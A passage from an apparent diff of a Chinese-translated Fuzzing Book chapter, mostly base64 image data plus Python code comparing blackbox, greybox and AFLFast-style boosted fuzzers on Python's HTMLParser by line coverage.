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003cdpppzFy5EjmzJlDmzZtAPj+++857LDDgOAK6qc//WnC2yuLypcUksiS98iDc5Fp0aJF7IBXYNOmTaxYsYJmzZoxZ84catSoUeRnE63NrVatWmw6KyuL77//HoBevXrx8ssv07JlS8aNG8f06dNLjXXu3Ll06dKFU045hby8PAYMGBBbHxCLdffu3dStW5e8vLy91nPGGWewbNky3n33XfLz8zn55JNjywonSElF7mdBufnz51OvXj1WrVpVym9hT1WqVGH37t0Aez030K9fPy655BLOPffc2Lw77riDRo0axar5zIxf/OIX3HPPPXutOzs7m6ysrDLFk6hK2PdR8nss8uojl87OOecctm7dGrsBmp+fz69//Wt69epVYv0+QMeOHXnKjf3EAAAS+ElEQVT++ecB+PTTT5k/f36Ztr1582YaNGjAzp07Y1UfJbn11lv5zW9+w8qVK2Pz4hNCvNq1a9O0aVNeeOEFIDiIfvLJJ7HlPXv25Morr4wdZAtMnDgRCK6C6tSpQ506dejUqVMsvunTp3PooYdSu3Ztli9fzv3338/HH3/MtGnTmDWrqEetitakSZNYdVv8jftHH32UzZs3M3jw4Ni8qVOn8o9//INHHnkkNu+cc85h0qRJfPPNNwCsX7+e5cuXJ7z9fVUJk0LIx1NwlYQkXnrpJV544QWOO+44mjdvTnZ2NnfffXepn+3fvz9r1qwhJyeHe++9l5ycHOrUqZPwtv/v//6P008/na5du3LCCSeUWr579+4MHDiQ888/n5NOOokOHTqQlZVVbLXThAkTePLJJ2nZsiUtWrRg8uTJsWVXXXUV3377bay6qMDBBx9Mhw4d6NevX+wexx133MHs2bPJyclh8ODBjB8/HjPj2muvZcSIERx55JE8+eST9OnTJ+GnhX/zm98watQoOnTowNq1a2PzR4wYwfz582P3IEaPHs3999/PqlWraNu2La1atWLIkCGcdNJJ3HXXXXTr1o2cnBy6du3K6tWrE9r2/lCmjTOcm5tr+9XOePsWuKchdB0GZwzar1i2bN/FyUNf53fdT+SXnY7Zr3W5imvRokWceOKJqQ5jn+Tn57Nz506ys7P54osvOOecc1iyZAkHHnhgqkMr1aRJk5g8eTLPPPNMqkMpd0X9zUmaY2a5pX22Et5TSF71kQ+y4yq6rVu30qVLF3bu3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
+)
+
+不出所料，增强型灰箱模糊器（具有指数功率表）可以更快地实现覆盖。
+
+***摘要*** 。 通过更频繁地对行使低频路径的种子进行模糊处理，我们可以以更有效的方式探索程序路径。
+
+***尝试*** 。 您可以尝试其他指数以实现快速用电计划，或者完全改变电源消耗。 请注意，较大的指数可能导致浮点运算中的溢出和不精确，从而产生意外结果。 您可以通过以Jupyter笔记本打开本章来执行自己的代码。
+
+***读取*** 。 您可以在论文“ [基于覆盖的Greybox Fuzzing as Markov Chain](https://mboehme.github.io/paper/CCS16.pdf) ” [[Böhme*等人*，2018\.](https://mboehme.github.io/paper/CCS16.pdf) ]中找到有关模糊器增强的更多信息。 在[ [http://github.com/mboehme/aflfast](http://github.com/mboehme/aflfast) ]处将其实施到AFL中。
+
+### 复杂示例：XMLParser
+
+让我们在一个更现实的示例（Python [HTML解析器](https://docs.python.org/3/library/html.parser.html)）中比较这三个模糊器。 我们从“空”种子开始在HTMLParser上运行所有三个模糊器$ n = 5k $次。
+
+```py
+from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser
+import [traceback](https://docs.python.org/3/library/traceback.html)
+
+```
+
+```py
+# create wrapper function
+def my_parser(inp):
+    parser = HTMLParser()  # resets the HTMLParser object for every fuzz input
+    parser.feed(inp)
+
+n = 5000
+seed_input = " " # empty seed
+blackbox_fuzzer = MutationFuzzer([seed_input], Mutator(), PowerSchedule())
+greybox_fuzzer  = GreyboxFuzzer([seed_input], Mutator(), PowerSchedule())
+boosted_fuzzer  = CountingGreyboxFuzzer([seed_input], Mutator(), AFLFastSchedule(5))
+
+```
+
+```py
+start = time.time()
+blackbox_fuzzer.runs(FunctionCoverageRunner(my_parser), trials=n)
+greybox_fuzzer.runs(FunctionCoverageRunner(my_parser), trials=n)
+boosted_fuzzer.runs(FunctionCoverageRunner(my_parser), trials=n)
+end = time.time()
+
+"It took all three fuzzers %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took all three fuzzers 15.90 seconds to generate and execute 5000 inputs.'
+
+```
+
+覆盖范围随时间变化的模糊测试如何比较？
+
+```py
+_, black_coverage = population_coverage(blackbox_fuzzer.inputs, my_parser)
+_, grey_coverage = population_coverage(greybox_fuzzer.inputs, my_parser)
+_, boost_coverage = population_coverage(boosted_fuzzer.inputs, my_parser)
+line_black, = plt.plot(black_coverage, label="Blackbox Fuzzer")
+line_grey, = plt.plot(grey_coverage, label="Greybox Fuzzer")
+line_boost, = plt.plot(boost_coverage, label="Boosted Greybox Fuzzer")
+plt.legend(handles=[line_boost, line_grey, line_black])
+plt.title('Coverage over time')
+plt.xlabel('# of inputs')
+plt.ylabel('lines covered');
+
+```
+
+![](data:image/png;base64,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